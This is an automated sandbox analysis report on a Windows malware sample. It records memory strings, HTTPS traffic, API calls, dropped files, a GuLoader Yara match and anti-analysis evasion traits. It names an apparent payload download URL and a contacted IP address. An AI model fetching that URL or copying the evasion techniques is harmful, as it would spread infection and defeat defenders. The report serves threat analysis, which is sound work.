Source: SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.74509198454.00000000066BA000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.74395501664.00000000066BA000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.73144773492.00000000066BA000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.73714567079.00000000066BA000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.75192333805.00000000066BA000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.73372413154.00000000066BA000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.74737216556.00000000066BA000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.75532927856.00000000066BA000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.73600667395.00000000066BA000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.75419467345.00000000066BA000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.73030543463.00000000066BA000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.75305963490.00000000066BA000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000002.76733975773.00000000066BA000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.72802564337.00000000066BA000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.75078811291.00000000066BA000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.73486784699.00000000066BA000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.74965012912.00000000066BA000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.74851095828.00000000066BA000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.72916255979.00000000066BA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bestpack.ee/slo.binked
Source: SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.75532844773.00000000066D4000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.75305885412.00000000066D4000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.73372304970.00000000066D4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bestpack.ee/slo.binmR
Source: SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.74395501664.00000000066B2000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.73144571670.00000000066B2000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.73258455659.00000000066B2000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.72916629062.00000000066B2000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.73714567079.00000000066B2000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.73030912520.00000000066B2000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.73600667395.00000000066B2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bestpack.ee/tpack.ee/-end-point:
Source: SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.75532844773.00000000066D4000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.73144493078.00000000066D4000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.75419392263.00000000066D4000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.75305885412.00000000066D4000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.73714163433.00000000066D4000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.74737118310.00000000066D4000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.72801998690.00000000066D4000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.72118854525.00000000066CD000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.73486212959.00000000066D4000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.73372304970.00000000066D4000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.74509067339.00000000066D4000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.72005247769.00000000066D5000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.74964852204.00000000066D4000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.72286211285.00000000066D1000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.73030411499.00000000066D4000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000002.76733975773.00000000066D4000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.72916087709.00000000066D4000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.72687881385.00000000066D4000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.75192249873.00000000066D4000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.74622911186.00000000066D4000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000003.73258321058.00000000066D4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ocsp.quovadisoffshore.com0

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49821
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 49817 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49781 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49833 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49819
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49817
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49815
Source: unknown	Network traffic detected: HTTP traffic on port 49791 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49813
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49811
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 49841 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 49837 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49827 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49809
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49807
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49805
Source: unknown	Network traffic detected: HTTP traffic on port 49773 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49803
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49801
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49843
Source: unknown	Network traffic detected: HTTP traffic on port 49783 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49841
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 49819 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 49821 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49793 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49831 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49809 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49839
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49837
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49835
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49833
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49831
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 49839 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 49843 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 49835 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49761 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49829 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49825 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49829
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49827
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49825
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49823
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789

Source: unknown

HTTPS traffic detected: 185.86.211.137:443 -> 192.168.11.20:49761 version: TLS 1.2

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe

Code function: 0_2_004056E5 GetDlgItem,GetDlgItem,GetDlgItem,GetDlgItem,GetClientRect,GetSystemMetrics,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,ShowWindow,ShowWindow,GetDlgItem,SendMessageW,SendMessageW,SendMessageW,GetDlgItem,CreateThread,CloseHandle,ShowWindow,ShowWindow,ShowWindow,ShowWindow,LdrInitializeThunk,SendMessageW,CreatePopupMenu,LdrInitializeThunk,AppendMenuW,GetWindowRect,TrackPopupMenu,SendMessageW,OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,SendMessageW,GlobalUnlock,SetClipboardData,CloseClipboard,

0_2_004056E5

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe

Code function: 0_2_004034FC EntryPoint,SetErrorMode,GetVersionExW,GetVersionExW,GetVersionExW,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,lstrlenW,LdrInitializeThunk,wsprintfW,GetFileAttributesW,DeleteFileW,LdrInitializeThunk,SetCurrentDirectoryW,LdrInitializeThunk,CopyFileW,OleUninitialize,ExitProcess,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,

0_2_004034FC

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe	Code function: 0_2_00406C3F		0_2_00406C3F
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe	Code function: 0_2_70591BFF		0_2_70591BFF

Source: SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000000.00000000.71623775698.000000000044C000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenamenygifte.exe4 vs SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe
Source: SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe, 00000002.00000000.71907439558.000000000044C000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenamenygifte.exe4 vs SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe

Source: SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: classification engine

Classification label: mal60.troj.evad.winEXE@3/9@1/1

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe

0_2_004034FC

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe

Code function: 0_2_00404991 GetDlgItem,SetWindowTextW,LdrInitializeThunk,LdrInitializeThunk,SHBrowseForFolderW,CoTaskMemFree,lstrcmpiW,lstrcatW,SetDlgItemTextW,LdrInitializeThunk,GetDiskFreeSpaceW,MulDiv,SetDlgItemTextW,

0_2_00404991

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe

Code function: 0_2_004021AF LdrInitializeThunk,CoCreateInstance,LdrInitializeThunk,

0_2_004021AF

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe

File created: C:\Users\user\polaritets

Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe

File created: C:\Users\user\AppData\Local\Temp\nsr7DD9.tmp

Jump to behavior

Source: SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe

ReversingLabs: Detection: 50%

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe

File read: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe "C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe"
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe	Process created: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe "C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe"
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe	Process created: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe "C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe"	Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe	Section loaded: edgegdi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe	Section loaded: riched20.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe	Section loaded: usp10.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe	Section loaded: edgegdi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe	Section loaded: ncryptsslp.dll	Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f486a52-3cb1-48fd-8f50-b8dc300d9f9d}\InProcServer32

Jump to behavior

Source: SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Data Obfuscation

Yara detected GuLoader

Source: Yara match	File source: 00000002.00000002.76719471404.0000000003592000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.72566552229.0000000006D62000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe

Code function: 0_2_70591BFF GlobalAlloc,lstrcpyW,lstrcpyW,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,lstrcpyW,GetModuleHandleW,LoadLibraryW,GetProcAddress,lstrlenW,

0_2_70591BFF

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe

Code function: 0_2_705930C0 push eax; ret

0_2_705930EE

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe

File created: C:\Users\user\AppData\Local\Temp\nst8185.tmp\System.dll

Jump to dropped file

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Switches to a custom stack to bypass stack traces

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe	API/Special instruction interceptor: Address: 73F9C1E
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe	API/Special instruction interceptor: Address: 3C29C1E

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe

Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nst8185.tmp\System.dll

Jump to dropped file

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe TID: 1540	Thread sleep count: 31 > 30			Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe TID: 1540	Thread sleep time: -310000s >= -30000s			Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe	Last function: Thread delayed
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe	Code function: 0_2_0040687E FindFirstFileW,FindClose,	0_2_0040687E
